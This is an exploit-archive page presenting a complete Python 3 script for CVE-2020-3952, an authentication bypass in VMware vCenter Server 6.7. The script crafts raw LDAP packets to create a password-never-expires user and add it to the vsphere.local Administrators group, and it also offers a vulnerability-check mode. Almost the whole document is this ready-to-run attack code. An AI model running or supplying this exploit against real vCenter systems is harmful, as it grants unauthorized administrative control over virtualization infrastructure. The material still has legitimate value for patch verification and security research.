VMware vCenter Server 6.7 Authentication Bypass

2020.06.02
Credit: Photubias
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass # Date: 2020-06-01 # Exploit Author: Photubias # Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html # Version: vCenter Server 6.7 before update 3f # Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0) # CVE: CVE-2020-3952 #!/usr/bin/env python3 ''' Copyright 2020 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952 File name CVE-2020-3592.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be ## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-) Features: exploit + vulnerability checker ''' import binascii, socket, sys, string, random ## Default vars; change at will _sIP = '192.168.50.35' _iPORT = 389 _iTIMEOUT = 5 def randomString(iStringLength=8): #sLetters = string.ascii_lowercase sLetters = string.ascii_letters return ''.join(random.choice(sLetters) for i in range(iStringLength)) def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified ## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed sReturn = sPrefix if (len(sData) / 2 ) > 255: sReturn += b'82' hexBytes = 2 elif (len(sData) /2 ) >= 128: sReturn += b'81' sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode() return sReturn def buildBindRequestPacket(sUser, sPass): sUser = binascii.hexlify(sUser.encode()) sPass = binascii.hexlify(sPass.encode()) ## Packet Construction sPacket = getLengthPrefix(sPass, b'80') + sPass sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket sPacket = b'020103' + sPacket sPacket = getLengthPrefix(sPacket, b'60') + sPacket sPacket = b'020101' + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket #print(sPacket) return binascii.unhexlify(sPacket) def buildUserCreatePacket(sUser, sPass): sUser = binascii.hexlify(sUser.encode()) sPass = binascii.hexlify(sPass.encode()) def createAttribute(sName, sValue): sValue = getLengthPrefix(sValue, b'04') + sValue sName = getLengthPrefix(sName, b'04') + sName sReturn = getLengthPrefix(sValue, b'31') + sValue sReturn = sName + sReturn sReturn = getLengthPrefix(sReturn, b'30') + sReturn return sReturn def createObjectClass(): sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top') sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person') sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson') sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user') sReturn = getLengthPrefix(sReturn, b'31') + sReturn sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn sReturn = getLengthPrefix(sReturn, b'30') + sReturn return sReturn ## Attributes sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True')) sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL')) sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser) sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser) sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local')) sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser) sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser) sAttributes += createObjectClass() sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass) ## CN sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local') sUserEntry = getLengthPrefix(sCN, b'04') + sCN ## Packet Assembly (bottom up) sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes sPacket = sUserEntry + sPacket sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket #print(sPacket) return binascii.unhexlify(sPacket) def buildModifyUserPacket(sUser): sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode()) sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local') sMember = binascii.hexlify(b'member') ## Packet Construction sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN sPacket = getLengthPrefix(sPacket, b'31') + sPacket sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket #print(sPacket) return binascii.unhexlify(sPacket) def performBind(s): ## Trying to bind, fails, but necessary (even fails when using correct credentials) dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be') s.send(dPacket) sResponse = s.recv(1024) try: sResponse = sResponse.split(b'\x04\x00')[0][-1:] sCode = binascii.hexlify(sResponse).decode() if sCode == '31': print('[+] Ok, service reachable, continuing') else: print('[-] Something went wrong') except: pass return sCode def performUserAdd(s, sUser, sPass): dPacket = buildUserCreatePacket(sUser,sPass) s.send(dPacket) sResponse = s.recv(1024) try: sCode = sResponse.split(b'\x04\x00')[0][-1:] sMessage = sResponse.split(b'\x04\x00')[1] if sCode == b'\x00': print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass) elif sCode == b'\x32': print('[-] Error, this host is not vulnerable (insufficientAccessRights)') else: if sMessage[2] == b'81': sMessage = sMessage[3:].decode() else: sMessage = sMessage[2:].decode() print('[-] Error, user not added, message received: ' + sMessage) except: pass return sCode def performUserMod(s, sUser, verbose = True): dPacket = buildModifyUserPacket(sUser) s.send(dPacket) sResponse = s.recv(1024) try: sCode = sResponse.split(b'\x04\x00')[0][-1:] sMessage = sResponse.split(b'\x04\x00')[1] if sCode == b'\x00': if verbose: print('[+] User modification success (if the above is OK).') else: if sMessage[2] == b'81': sMessage = sMessage[3:].decode() else: sMessage = sMessage[2:].decode() if verbose: print('[-] Error during modification, message received: ' + sMessage) except: pass return sCode, sMessage def performUnbind(s): try: s.send(b'\x30\x05\x02\x01\x04\x42\x00') except: pass def main(): global _sIP, _iPORT, _iTIMEOUT _sUSER = 'user_' + randomString(6) _sPASS = randomString(8) + '_2020' bAdduser = False if len(sys.argv) == 1: print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]') print(' Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS) print(' Leave username & password empty for a vulnerability check') print(' Watch out for vCenter/LDAP password requirements, leave empty for random password') print(' But for now, I will ask questions') sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ') if not sAnswer == '': _sIP = sAnswer sAnswer = input('[?] Want to perform a check only? [Y/n]: ') if sAnswer.lower() == 'n': bAdduser = True if bAdduser: sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ') if not sAnswer == '': _sUSER = sAnswer sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ') if not sAnswer == '': _sPASS = sAnswer else: _sIP = sys.argv[1] if len(sys.argv) >= 3: _sUSER = sys.argv[2] bAdduser = True if len(sys.argv) >= 4: _sPASS = sys.argv[3] ## MAIN print('') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(_iTIMEOUT) try: s.connect((_sIP,_iPORT)) except: print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable') sys.exit(1) performBind(s) if bAdduser: sCode = performUserAdd(s, _sUSER, _sPASS) if not bAdduser: print('[!] Checking vulnerability') sCode, sMessage = performUserMod(s, 'Administrator', False) if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage) else: print('[+] This host is vulnerable!') else: sCode = performUserMod(s, _sUSER) performUnbind(s) s.close() if __name__ == "__main__": main()


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top